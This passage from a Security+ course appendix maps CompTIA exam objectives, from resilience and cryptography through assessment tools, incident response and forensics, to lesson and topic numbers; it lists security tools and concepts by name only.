Someone you know Lesson 7, Topic A
Authentication, authorization, and accounting (AAA) Lesson 7, Topic A
Cloud vs. on-premises requirements Lesson 7, Topic A
2.5 Given a scenario, implement cybersecurity resilience Lesson 20, Topic A
Lesson 20, Topic B
Lesson 20, Topic C
Redundancy Lesson 20, Topic A
Geographic dispersal Lesson 20, Topic A
Disk Lesson 20, Topic A
Redundant array of inexpensive disks (RAID) levels Lesson 20, Topic A
Multipath Lesson 20, Topic A
Network Lesson 20, Topic A
Load balancers Lesson 20, Topic A
Network interface card (NIC) teaming Lesson 20, Topic A
Power Lesson 20, Topic A
Uninterruptible power supply (UPS) Lesson 20, Topic A
Generator Lesson 20, Topic A
Dual supply Lesson 20, Topic A
Managed power distribution units (PDUs) Lesson 20, Topic A

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-12 | Appendix A

Domain and Objective Covered in

Replication Lesson 20, Topic A
Storage area network Lesson 20, Topic A
VM Lesson 20, Topic A
On-premises vs. cloud Lesson 20, Topic A
Backup types Lesson 20, Topic B
Full Lesson 20, Topic B
Incremental Lesson 20, Topic B
Snapshot Lesson 20, Topic B
Differential Lesson 20, Topic B
Tape Lesson 20, Topic B
Disk Lesson 20, Topic B
Copy Lesson 20, Topic B
Network-attached storage (NAS) Lesson 20, Topic B
Storage area network Lesson 20, Topic B
Cloud Lesson 20, Topic B
Image Lesson 20, Topic B
Online vs. offline Lesson 20, Topic B
Offsite storage Lesson 20, Topic B
Distance considerations Lesson 20, Topic B
Non-persistence Lesson 20, Topic B
Revert to known state Lesson 20, Topic B
Last known-good configuration Lesson 20, Topic B
Live boot media Lesson 20, Topic B
High availability Lesson 20, Topic A
Scalability Lesson 20, Topic A
Restoration order Lesson 20, Topic B
Diversity Lesson 20, Topic C
Technologies Lesson 20, Topic C
Vendors Lesson 20, Topic C
Crypto Lesson 20, Topic C
Controls Lesson 20, Topic C
2.6 Explain the security implications of embedded and Lesson 12, Topic C
specialized systems
Embedded systems Lesson 12, Topic C
Raspberry Pi Lesson 12, Topic C
Field-programmable gate array (FPGA) Lesson 12, Topic C
Arduino Lesson 12, Topic C
S
 upervisory control and data acquisition (SCADA)/industrial Lesson 12, Topic C
control system (ICS)
Facilities Lesson 12, Topic C
Industrial Lesson 12, Topic C

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-13

Domain and Objective Covered in

Manufacturing Lesson 12, Topic C
Energy Lesson 12, Topic C
Logistics Lesson 12, Topic C
Internet of Things (IoT) Lesson 12, Topic C
Sensors Lesson 12, Topic C
Smart devices Lesson 12, Topic C
Wearables Lesson 12, Topic C
Facility automation Lesson 12, Topic C
Weak defaults Lesson 12, Topic C
Specialized Lesson 12, Topic C
Medical systems Lesson 12, Topic C
Vehicles Lesson 12, Topic C
Aircraft Lesson 12, Topic C
Smart meters Lesson 12, Topic C
Voice over IP (VoIP) Lesson 12, Topic C
Heating, ventilation, air conditioning (HVAC) Lesson 12, Topic C
Drones Lesson 12, Topic C
Multifunction printer (MFP) Lesson 12, Topic C
Real-time operating system (RTOS) Lesson 12, Topic C
Surveillance systems Lesson 12, Topic C
System on chip (SoC) Lesson 12, Topic C
Communication considerations Lesson 12, Topic C
5G Lesson 12, Topic C
Narrow-band Lesson 12, Topic C
Baseband radio Lesson 12, Topic C
Subscriber identity module (SIM) cards Lesson 12, Topic C
Zigbee Lesson 12, Topic C
Constraints Lesson 12, Topic C
Power Lesson 12, Topic C
Compute Lesson 12, Topic C
Network Lesson 12, Topic C
Crypto Lesson 12, Topic C
Inability to patch Lesson 12, Topic C
Authentication Lesson 12, Topic C
Range Lesson 12, Topic C
Cost Lesson 12, Topic C
Implied trust Lesson 12, Topic C
2.7 Explain the importance of physical security controls Lesson 21, Topic A
Lesson 21, Topic B
Bollards/barricades Lesson 21, Topic A
Access control vestibules Lesson 21, Topic A

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-14 | Appendix A

Domain and Objective Covered in

Badges Lesson 21, Topic A
Alarms Lesson 21, Topic A
Signage Lesson 21, Topic A
Cameras Lesson 21, Topic A
Motion recognition Lesson 21, Topic A
Object detection Lesson 21, Topic A
Closed-circuit television (CCTV) Lesson 21, Topic A
Industrial camouflage Lesson 21, Topic A
Personnel Lesson 21, Topic A
Guards Lesson 21, Topic A
Robot sentries Lesson 21, Topic A
Reception Lesson 21, Topic A
Two-person integrity/control Lesson 21, Topic A
Locks Lesson 21, Topic A
Biometrics Lesson 21, Topic A
Electronic Lesson 21, Topic A
Physical Lesson 21, Topic A
Cable locks Lesson 21, Topic A
USB data blocker Lesson 21, Topic A
Lighting Lesson 21, Topic A
Fencing Lesson 21, Topic A
Fire suppression Lesson 21, Topic B
Sensors Lesson 21, Topic A
Lesson 21, Topic B
Motion detection Lesson 21, Topic A
Noise detection Lesson 21, Topic A
Proximity reader Lesson 21, Topic A
Moisture detection Lesson 21, Topic B
Cards Lesson 21, Topic A
Temperature Lesson 21, Topic B
Drones Lesson 21, Topic A
Visitor logs Lesson 21, Topic A
Faraday cages Lesson 21, Topic B
Air gap Lesson 21, Topic B
Screened subnet (previously known as demilitarized zone) Lesson 21, Topic A
Protected cable distribution Lesson 21, Topic B
Secure areas Lesson 21, Topic B
Air gap Lesson 21, Topic B
Vault Lesson 21, Topic B
Safe Lesson 21, Topic B
Hot aisle Lesson 21, Topic B
Cold aisle Lesson 21, Topic B

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-15

Domain and Objective Covered in

Secure data destruction Lesson 21, Topic B
Burning Lesson 21, Topic B
Shredding Lesson 21, Topic B
Pulping Lesson 21, Topic B
Pulverizing Lesson 21, Topic B
Degaussing Lesson 21, Topic B
Third-party solutions Lesson 21, Topic B
2.8 Summarize the basics of cryptographic concepts Lesson 5, Topic A
Lesson 5, Topic B
Lesson 5, Topic C
Lesson 5, Topic D
Digital signatures Lesson 5, Topic B
Key length Lesson 5, Topic A
Key stretching Lesson 5, Topic C
Salting Lesson 5, Topic C
Hashing Lesson 5, Topic A
Key exchange Lesson 5, Topic B
Elliptic-curve cryptography Lesson 5, Topic A
Perfect forward secrecy Lesson 5, Topic B
Quantum Lesson 5, Topic D
Communications Lesson 5, Topic D
Computing Lesson 5, Topic D
Post-quantum Lesson 5, Topic D
Ephemeral Lesson 5, Topic B
Modes of operation Lesson 5, Topic B
Authenticated Lesson 5, Topic B
Unauthenticated Lesson 5, Topic B
Counter Lesson 5, Topic B
Blockchain Lesson 5, Topic D
Public ledgers Lesson 5, Topic D
Cipher suites Lesson 5, Topic A
Stream Lesson 5, Topic A
Block Lesson 5, Topic A
Symmetric vs. asymmetric Lesson 5, Topic A
Lightweight cryptography Lesson 5, Topic D
Steganography Lesson 5, Topic D
Audio Lesson 5, Topic D
Video Lesson 5, Topic D
Image Lesson 5, Topic D
Homomorphic encryption Lesson 5, Topic D
Common use cases Lesson 5, Topic C
Low power devices Lesson 5, Topic C

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-16 | Appendix A

Domain and Objective Covered in

Low latency Lesson 5, Topic C
High resiliency Lesson 5, Topic C
Supporting confidentiality Lesson 5, Topic C
Supporting integrity Lesson 5, Topic C
Supporting obfuscation Lesson 5, Topic C
Supporting authentication Lesson 5, Topic C
Supporting non-repudiation Lesson 5, Topic C
Limitations Lesson 5, Topic C
Speed Lesson 5, Topic C
Size Lesson 5, Topic C
Weak keys Lesson 5, Topic C
Time Lesson 5, Topic C
Longevity Lesson 5, Topic C
Predictability Lesson 5, Topic C
Reuse Lesson 5, Topic C
Entropy Lesson 5, Topic C
Computational overheads Lesson 5, Topic C
Resource vs. security constraints Lesson 5, Topic C
3.0 Implementation
3.1 Given a scenario, implement secure protocols Lesson 9, Topic B
Lesson 11, Topic A
Lesson 11, Topic B
Lesson 11, Topic C
Protocols Lesson 11, Topic A
Lesson 11, Topic B
Lesson 11, Topic C
Domain Name System Security Extension (DNSSEC) Lesson 11, Topic A
SSH Lesson 11, Topic C
Secure/Multipurpose Internet Mail Extensions (S/MIME) Lesson 11, Topic B
Secure Real-time Protocol (SRTP) Lesson 11, Topic B
Lightweight Directory Access Protocol Over SSL (LDAPS) Lesson 11, Topic A
File Transfer Protocol, Secure (FTPS) Lesson 11, Topic B
SSH File Transfer Protocol (SFTP) Lesson 11, Topic B
S
 imple Network Management Protocol, version 3 Lesson 11, Topic A
(SNMPv3)
Hypertext transfer protocol over SSL/TLS (HTTPS) Lesson 11, Topic B
IPSec Lesson 11, Topic C
A
 uthentication Header (AH)/Encapsulated Security Lesson 11, Topic C
Payloads (ESP)
Tunnel/transport Lesson 11, Topic C
S
 ecure Post Office Protocol (POP)/Internet Message Lesson 11, Topic B
Access Protocol (IMAP)

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-17

Domain and Objective Covered in

Use cases Lesson 9, Topic B
Lesson 11, Topic A
Lesson 11, Topic B
Lesson 11, Topic C
Voice and video Lesson 11, Topic B
Time synchronization Lesson 11, Topic A
Email and web Lesson 11, Topic B
File transfer Lesson 11, Topic B
Directory services Lesson 11, Topic A
Remote access Lesson 11, Topic C
Domain name resolution Lesson 11, Topic A
Routing and switching Lesson 9, Topic B
Network address allocation Lesson 11, Topic A
Subscription services Lesson 11, Topic B
3.2 Given a scenario, implement host or application Lesson 12, Topic A
security solutions Lesson 12, Topic B
Lesson 14, Topic C
Lesson 14, Topic D
Lesson 16, Topic B
Endpoint protection Lesson 12, Topic B
Antivirus Lesson 12, Topic B
Anti-malware Lesson 12, Topic B
Endpoint detection and response (EDR) Lesson 12, Topic B
DLP Lesson 12, Topic B
Next-generation firewall (NGFW) Lesson 12, Topic B
Host-based intrusion prevention system (HIPS) Lesson 12, Topic B
Host-based intrusion detection system (HIDS) Lesson 12, Topic B
Host-based firewall Lesson 12, Topic B
Boot integrity Lesson 12, Topic A
Boot security/Unified Extensible Firmware Interface (UEFI) Lesson 12, Topic A
Measured boot Lesson 12, Topic A
Boot attestation Lesson 12, Topic A
Database Lesson 16, Topic B
Tokenization Lesson 16, Topic B
Salting Lesson 16, Topic B
Hashing Lesson 16, Topic B
Application security Lesson 14, Topic C
Lesson 14, Topic D
Input validations Lesson 14, Topic C
Secure cookies Lesson 14, Topic C
Hypertext Transfer Protocol (HTTP) headers Lesson 14, Topic C
Code signing Lesson 14, Topic D
Allow list Lesson 14, Topic D

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-18 | Appendix A

Domain and Objective Covered in

Block list/deny list Lesson 14, Topic D
Secure coding practices Lesson 14, Topic C
Static code analysis Lesson 14, Topic C
Manual code review Lesson 14, Topic C
Dynamic code analysis Lesson 14, Topic C
Fuzzing Lesson 14, Topic C
Hardening Lesson 12, Topic B
Open ports and services Lesson 12, Topic B
Registry Lesson 12, Topic B
Disk encryption Lesson 12, Topic B
OS Lesson 12, Topic B
Patch management Lesson 12, Topic B
Third-party updates Lesson 12, Topic B
Auto-update Lesson 12, Topic B
Self-encrypting drive (SED)/full-disk encryption (FDE) Lesson 12, Topic A
Opal Lesson 12, Topic A
Hardware root of trust Lesson 12, Topic A
Trusted Platform Module (TPM) Lesson 12, Topic A
Sandboxing Lesson 12, Topic B
3.3 Given a scenario, implement secure network designs Lesson 7, Topic C
Lesson 9, Topic A
Lesson 9, Topic B
Lesson 9, Topic D
Lesson 10, Topic A
Lesson 10, Topic B
Lesson 11, Topic C
Load balancing Lesson 9, Topic D
Active/active Lesson 9, Topic D
Active/passive Lesson 9, Topic D
Scheduling Lesson 9, Topic D
Virtual IP Lesson 9, Topic D
Persistence Lesson 9, Topic D
Network segmentation Lesson 9, Topic A
Virtual local area network (VLAN) Lesson 9, Topic A
Screened subnet (previously known as demilitarized zone) Lesson 9, Topic A
East-west traffic Lesson 9, Topic A
Extranet Lesson 9, Topic A
Intranet Lesson 9, Topic A
Zero Trust Lesson 9, Topic A
Virtual private network (VPN) Lesson 11, Topic C
Always-on Lesson 11, Topic C
Split tunnel vs. full tunnel Lesson 11, Topic C
Remote access vs. site-to-site Lesson 11, Topic C

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-19

Domain and Objective Covered in

IPSec Lesson 11, Topic C
SSL/TLS Lesson 11, Topic C
HTML5 Lesson 11, Topic C
Layer 2 tunneling protocol (L2TP) Lesson 11, Topic C
DNS Lesson 9, Topic A
Network access control (NAC) Lesson 9, Topic B
Agent and agentless Lesson 9, Topic B
Out-of-band management Lesson 11, Topic C
Port security Lesson 9, Topic B
Broadcast storm prevention Lesson 9, Topic B
Bridge Protocol Data Unit (BPDU) guard Lesson 9, Topic B
Loop prevention Lesson 9, Topic B
Dynamic Host Configuration Protocol (DHCP) snooping Lesson 9, Topic B
Media access control (MAC) filtering Lesson 9, Topic B
Network appliances Lesson 7, Topic C
Lesson 10, Topic A
Lesson 10, Topic B
Lesson 11, Topic C
Jump servers Lesson 11, Topic C
Proxy servers Lesson 10, Topic A
Forward Lesson 10, Topic A
Reverse Lesson 10, Topic A
N
 etwork-based intrusion detection system (NIDS)/ Lesson 10, Topic B
network-based intrusion prevention system (NIPS)
Signature-based Lesson 10, Topic B
Heuristic/behavior Lesson 10, Topic B
Anomaly Lesson 10, Topic B
Inline vs. passive Lesson 10, Topic B
HSM Lesson 7, Topic C
Sensors Lesson 10, Topic B
Collectors Lesson 10, Topic C
Aggregators Lesson 10, Topic C
Firewalls Lesson 10, Topic A
Lesson 10, Topic B
Web application firewall (WAF) Lesson 10, Topic B
NGFW Lesson 10, Topic B
Stateful Lesson 10, Topic A
Stateless Lesson 10, Topic A
Unified threat management (UTM) Lesson 10, Topic B
Network address translation (NAT) gateway Lesson 10, Topic A
Content/URL filter Lesson 10, Topic B
Open-source vs. proprietary Lesson 10, Topic A

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-20 | Appendix A

Domain and Objective Covered in

Hardware vs. software Lesson 10, Topic A
Appliance vs. host-based vs. virtual Lesson 10, Topic A
Access control list (ACL) Lesson 10, Topic A
Route security Lesson 9, Topic B
Quality of service (QoS) Lesson 9, Topic D
Implications of IPv6 Lesson 9, Topic A
Port spanning/port mirroring Lesson 10, Topic B
Port taps Lesson 10, Topic B
Monitoring services Lesson 10, Topic C
File integrity monitors Lesson 10, Topic B
3.4 Given a scenario, install and configure wireless security Lesson 9, Topic C
settings
Cryptographic protocols Lesson 9, Topic C
WiFi Protected Access 2 (WPA2) Lesson 9, Topic C
WiFi Protected Access 3 (WPA3) Lesson 9, Topic C
Counter-mode/CBC-MAC protocol (CCMP) Lesson 9, Topic C
Simultaneous Authentication of Equals (SAE) Lesson 9, Topic C
Authentication protocols Lesson 9, Topic C
Extensible Authentication Protocol (EAP) Lesson 9, Topic C
Protected Extensible Application Protocol (PEAP) Lesson 9, Topic C
EAP-FAST Lesson 9, Topic C
EAP-TLS Lesson 9, Topic C
EAP-TTLS Lesson 9, Topic C
IEEE 802.1X Lesson 9, Topic C
R
 emote Authentication Dial-in User Service (RADIUS) Lesson 9, Topic C
Federation
Methods Lesson 9, Topic C
Pre-shared key (PSK) vs. Enterprise vs. Open Lesson 9, Topic C
WiFi Protected Setup (WPS) Lesson 9, Topic C
Captive portals Lesson 9, Topic C
Installation considerations Lesson 9, Topic C
Site surveys Lesson 9, Topic C
Heat maps Lesson 9, Topic C
WiFi analyzers Lesson 9, Topic C
Channel overlaps Lesson 9, Topic C
Wireless access point (WAP) placement Lesson 9, Topic C
Controller and access point security Lesson 9, Topic C
3.5 Given a scenario, implement secure mobile solutions Lesson 13, Topic A
Lesson 13, Topic B
Connection methods and receivers Lesson 13, Topic B
Cellular Lesson 13, Topic B
WiFi Lesson 13, Topic B

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-21

Domain and Objective Covered in

Bluetooth Lesson 13, Topic B
NFC Lesson 13, Topic B
Infrared Lesson 13, Topic B
USB Lesson 13, Topic B
Point-to-point Lesson 13, Topic B
Point-to-multipoint Lesson 13, Topic B
Global Positioning System (GPS) Lesson 13, Topic B
RFID Lesson 13, Topic B
Mobile device management (MDM) Lesson 13, Topic A
Lesson 13, Topic B
Application management Lesson 13, Topic A
Content management Lesson 13, Topic A
Remote wipe Lesson 13, Topic A
Geofencing Lesson 13, Topic A
Geolocation Lesson 13, Topic A
Screen locks Lesson 13, Topic A
Push notifications Lesson 13, Topic B
Passwords and PINs Lesson 13, Topic A
Biometrics Lesson 13, Topic A
Context-aware authentication Lesson 13, Topic A
Containerization Lesson 13, Topic A
Storage segmentation Lesson 13, Topic A
Full device encryption Lesson 13, Topic A
Mobile devices Lesson 13, Topic A
MicroSD HSM Lesson 13, Topic A
MDM/Unified Endpoint Management (UEM) Lesson 13, Topic A
Mobile application management (MAM) Lesson 13, Topic A
SEAndroid Lesson 13, Topic A
Enforcement and monitoring of: Lesson 13, Topic A
Lesson 13, Topic B
Third-party application stores Lesson 13, Topic A
Rooting/jailbreaking Lesson 13, Topic A
Sideloading Lesson 13, Topic A
Custom firmware Lesson 13, Topic A
Carrier unlocking Lesson 13, Topic A
Firmware over-the-air (OTA) updates Lesson 13, Topic B
Camera use Lesson 13, Topic A
S
 MS/Multimedia Messaging Service (MMS)/Rich Lesson 13, Topic B
communication services (RCS)
External media Lesson 13, Topic A
USB On-The-Go (USB OTG) Lesson 13, Topic B
Recording microphone Lesson 13, Topic A

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-22 | Appendix A

Domain and Objective Covered in

GPS tagging Lesson 13, Topic A
WiFi direct/ad hoc Lesson 13, Topic B
Tethering Lesson 13, Topic B
Hotspot Lesson 13, Topic B
Payment methods Lesson 13, Topic B
Deployment models Lesson 13, Topic A
Bring your own device (BYOD) Lesson 13, Topic A
Corporate-owned personally enabled (COPE) Lesson 13, Topic A
Choose your own device (CYOD) Lesson 13, Topic A
Corporate-owned Lesson 13, Topic A
Virtual desktop infrastructure (VDI) Lesson 13, Topic A
3.6 Given a scenario, apply cybersecurity solutions to the Lesson 15, Topic B
cloud
Cloud security controls Lesson 15, Topic B
High availability across zones Lesson 15, Topic B
Resource policies Lesson 15, Topic B
Secrets management Lesson 15, Topic B
Integration and auditing Lesson 15, Topic B
Storage Lesson 15, Topic B
Permissions Lesson 15, Topic B
Encryption Lesson 15, Topic B
Replication Lesson 15, Topic B
High availability Lesson 15, Topic B
Network Lesson 15, Topic B
Virtual networks Lesson 15, Topic B
Public and private subnets Lesson 15, Topic B
Segmentation Lesson 15, Topic B
API inspection and integration Lesson 15, Topic B
Compute Lesson 15, Topic B
Security groups Lesson 15, Topic B
Dynamic resource allocation Lesson 15, Topic B
Instance awareness Lesson 15, Topic B
Virtual private cloud (VPC) endpoint Lesson 15, Topic B
Container security Lesson 15, Topic B
Solutions Lesson 15, Topic B
CASB Lesson 15, Topic B
Application security Lesson 15, Topic B
Next-generation Secure Web Gateway (SWG) Lesson 15, Topic B
Firewall considerations in a cloud environment Lesson 15, Topic B
Cost Lesson 15, Topic B

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-23

Domain and Objective Covered in

Need for segmentation Lesson 15, Topic B
Open Systems Interconnection (OSI) layers Lesson 15, Topic B
Cloud native controls vs. third-party solutions Lesson 15, Topic B
3.7 Given a scenario, implement identity and account Lesson 8, Topic A
management controls Lesson 8, Topic B
Identity Lesson 8, Topic A
Lesson 8, Topic B
Identity provider (IdP) Lesson 8, Topic A
Attributes Lesson 8, Topic B
Certificates Lesson 8, Topic A
Tokens Lesson 8, Topic A
SSH keys Lesson 8, Topic A
Smart cards Lesson 8, Topic A
Account types Lesson 8, Topic A
User account Lesson 8, Topic A
Shared and generic accounts/credentials Lesson 8, Topic A
Guest accounts Lesson 8, Topic A
Service accounts Lesson 8, Topic A
Account policies Lesson 8, Topic B
Password complexity Lesson 8, Topic B
Password history Lesson 8, Topic B
Password reuse Lesson 8, Topic B
Network location Lesson 8, Topic B
Geofencing Lesson 8, Topic B
Geotagging Lesson 8, Topic B
Geolocation Lesson 8, Topic B
Time-based logins Lesson 8, Topic B
Access policies Lesson 8, Topic B
Account permissions Lesson 8, Topic B
Account audits Lesson 8, Topic B
Impossible travel time/risky login Lesson 8, Topic B
Lockout Lesson 8, Topic B
Disablement Lesson 8, Topic B
3.8 Given a scenario, implement authentication and Lesson 7, Topic B
authorization solutions Lesson 7, Topic C
Lesson 8, Topic C
Authentication management Lesson 7, Topic B
Lesson 7, Topic C
Password keys Lesson 7, Topic B
Password vaults Lesson 7, Topic B
TPM Lesson 7, Topic C
HSM Lesson 7, Topic C
Knowledge-based authentication Lesson 7, Topic B

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-24 | Appendix A

Domain and Objective Covered in

Authentication/authorization Lesson 7, Topic B
Lesson 7, Topic C
Lesson 8, Topic C
EAP Lesson 7, Topic C
Challenge Handshake Authentication Protocol (CHAP) Lesson 7, Topic B
Password Authentication Protocol (PAP) Lesson 7, Topic B
802.1X Lesson 7, Topic C
RADIUS Lesson 7, Topic C
Single sign-on (SSO) Lesson 7, Topic B
Security Assertions Markup Language (SAML) Lesson 8, Topic C
T
 erminal Access Controller Access Control System Plus Lesson 7, Topic C
(TACACS+)
OAuth Lesson 8, Topic C
OpenID Lesson 8, Topic C
Kerberos Lesson 7, Topic B
Access control schemes Lesson 8, Topic C
Attribute-based access control (ABAC) Lesson 8, Topic C
Role-based access control Lesson 8, Topic C
Rule-based access control Lesson 8, Topic C
MAC Lesson 8, Topic C
Discretionary access control (DAC) Lesson 8, Topic C
Conditional access Lesson 8, Topic C
Privilege access management Lesson 8, Topic C
Filesystem permissions Lesson 8, Topic C
3.9 Given a scenario, implement public key infrastructure Lesson 6, Topic A
Lesson 6, Topic B
Public key infrastructure (PKI) Lesson 6, Topic A
Lesson 6, Topic B
Key management Lesson 6, Topic B
Certificate authority (CA) Lesson 6, Topic A
Intermediate CA Lesson 6, Topic A
Registration authority (RA) Lesson 6, Topic A
Certificate revocation list (CRL) Lesson 6, Topic B
Certificate attributes Lesson 6, Topic A
Online Certificate Status Protocol (OCSP) Lesson 6, Topic B
Certificate signing request (CSR) Lesson 6, Topic A
CN Lesson 6, Topic A
Subject alternative name Lesson 6, Topic A
Expiration Lesson 6, Topic B
Types of certificates Lesson 6, Topic A
Wildcard Lesson 6, Topic A
Subject alternative name Lesson 6, Topic A

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-25

Domain and Objective Covered in

Code signing Lesson 6, Topic A
Self-signed Lesson 6, Topic A
Machine/computer Lesson 6, Topic A
Email Lesson 6, Topic A
User Lesson 6, Topic A
Root Lesson 6, Topic A
Domain validation Lesson 6, Topic A
Extended validation Lesson 6, Topic A
Certificate formats Lesson 6, Topic B
Distinguished encoding rules (DER) Lesson 6, Topic B
Privacy enhanced mail (PEM) Lesson 6, Topic B
Personal information exchange (PFX) Lesson 6, Topic B
.cer Lesson 6, Topic B
P12 Lesson 6, Topic B
P7B Lesson 6, Topic B
Concepts Lesson 6, Topic A
Lesson 6, Topic B
Online vs. offline CA Lesson 6, Topic A
Stapling Lesson 6, Topic B
Pinning Lesson 6, Topic B
Trust model Lesson 6, Topic A
Key escrow Lesson 6, Topic B
Certificate chaining Lesson 6, Topic A
4.0 Operations and Incident Response
4.1 Given a scenario, use the appropriate tool to assess Lesson 3, Topic A
organizational security Lesson 4, Topic B
Lesson 6, Topic B
Lesson 7, Topic B
Lesson 8, Topic C
Lesson 10, Topic C
Lesson 11, Topic C
Lesson 14, Topic D
Lesson 18, Topic B
Lesson 21, Topic B
Network reconnaissance and discovery Lesson 3, Topic A
Lesson 4, Topic B
tracert/traceroute Lesson 3, Topic A
nslookup/dig Lesson 3, Topic A
ipconfig/ifconfig Lesson 3, Topic A
nmap Lesson 3, Topic A
ping/pathping Lesson 3, Topic A
hping Lesson 3, Topic A
netstat Lesson 3, Topic A
netcat Lesson 3, Topic A

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-26 | Appendix A

Domain and Objective Covered in

IP scanners Lesson 3, Topic A
arp Lesson 3, Topic A
route Lesson 3, Topic A
curl Lesson 3, Topic A
the harvester Lesson 3, Topic A
sn1per Lesson 3, Topic A
scanless Lesson 3, Topic A
dnsenum Lesson 3, Topic A
Nessus Lesson 3, Topic A
Cuckoo Lesson 4, Topic B
File manipulation Lesson 8, Topic C
Lesson 10, Topic C
head Lesson 10, Topic C
tail Lesson 10, Topic C
cat Lesson 10, Topic C
grep Lesson 10, Topic C
chmod Lesson 8, Topic C
logger Lesson 10, Topic C
Shell and script environments Lesson 6, Topic B
Lesson 11, Topic C
Lesson 14, Topic D
SSH Lesson 11, Topic C
PowerShell Lesson 14, Topic D
Python Lesson 14, Topic D
OpenSSL Lesson 6, Topic B
Packet capture and replay Lesson 3, Topic A
Tcpreplay Lesson 3, Topic A
Tcpdump Lesson 3, Topic A
Wireshark Lesson 3, Topic A
Forensics Lesson 18, Topic B
dd Lesson 18, Topic B
Memdump Lesson 18, Topic B
WinHex Lesson 18, Topic B
FTK imager Lesson 18, Topic B
Autopsy Lesson 18, Topic B
Exploitation frameworks Lesson 3, Topic A
Password crackers Lesson 7, Topic B
Data sanitization Lesson 21, Topic B
4.2 Summarize the importance of policies, processes, and Lesson 17, Topic A
procedures for incident response
Incident response plans Lesson 17, Topic A
Incident response process Lesson 17, Topic A

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-27

Domain and Objective Covered in

Preparation Lesson 17, Topic A
Identification Lesson 17, Topic A
Containment Lesson 17, Topic A
Eradication Lesson 17, Topic A
Recovery Lesson 17, Topic A
Lessons learned Lesson 17, Topic A
Exercises Lesson 17, Topic A
Tabletop Lesson 17, Topic A
Walkthroughs Lesson 17, Topic A
Simulations Lesson 17, Topic A
Attack frameworks Lesson 17, Topic A
MITRE ATT&CK Lesson 17, Topic A
The Diamond Model of Intrusion Analysis Lesson 17, Topic A
Cyber Kill Chain Lesson 17, Topic A
Stakeholder management Lesson 17, Topic A
Communication plan Lesson 17, Topic A
Disaster recovery plan Lesson 17, Topic A
Business continuity plan Lesson 17, Topic A
Continuity of operations planning (COOP) Lesson 17, Topic A
Incident response team Lesson 17, Topic A
Retention policies Lesson 17, Topic A
4.3 Given an incident, utilize appropriate data sources to Lesson 17, Topic B
support an investigation
Vulnerability scan output Lesson 17, Topic B
SIEM dashboards Lesson 17, Topic B
Sensor Lesson 17, Topic B
Sensitivity Lesson 17, Topic B
Trends Lesson 17, Topic B
Alerts Lesson 17, Topic B
Correlation Lesson 17, Topic B
Log files Lesson 17, Topic B
Network Lesson 17, Topic B
System Lesson 17, Topic B
Application Lesson 17, Topic B
Security Lesson 17, Topic B
Web Lesson 17, Topic B
DNS Lesson 17, Topic B
Authentication Lesson 17, Topic B
Dump files Lesson 17, Topic B
VoIP and call managers Lesson 17, Topic B
Session Initiation Protocol (SIP) traffic Lesson 17, Topic B

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-28 | Appendix A

Domain and Objective Covered in

syslog/rsyslog/syslog-ng Lesson 17, Topic B
journalctl Lesson 17, Topic B
nxlog Lesson 17, Topic B
Bandwidth monitors Lesson 17, Topic B
Metadata Lesson 17, Topic B
Email Lesson 17, Topic B
Mobile Lesson 17, Topic B
Web Lesson 17, Topic B
File Lesson 17, Topic B
Netflow/sflow Lesson 17, Topic B
Netflow Lesson 17, Topic B
sflow Lesson 17, Topic B
IPFIX Lesson 17, Topic B
Protocol analyzer output Lesson 17, Topic B
4.4 Given an incident, apply mitigation techniques or Lesson 17, Topic C
controls to secure an environment
Reconfigure endpoint security solutions Lesson 17, Topic C
Application approved list Lesson 17, Topic C
Application block list/deny list Lesson 17, Topic C
Quarantine Lesson 17, Topic C
Configuration changes Lesson 17, Topic C
Firewall rules Lesson 17, Topic C
MDM Lesson 17, Topic C
DLP Lesson 17, Topic C
Content filter/URL filter Lesson 17, Topic C
Update or revoke certificates Lesson 17, Topic C
Isolation Lesson 17, Topic C
Containment Lesson 17, Topic C
Segmentation Lesson 17, Topic C
SOAR Lesson 17, Topic C
Runbooks Lesson 17, Topic C
Playbooks Lesson 17, Topic C
4.5 Explain the key aspects of digital forensics Lesson 18, Topic A
Lesson 18, Topic B
Documentation/evidence Lesson 18, Topic A
Legal hold Lesson 18, Topic A
Video Lesson 18, Topic A
Admissibility Lesson 18, Topic A
Chain of custody Lesson 18, Topic A
Timelines of sequence of events Lesson 18, Topic A
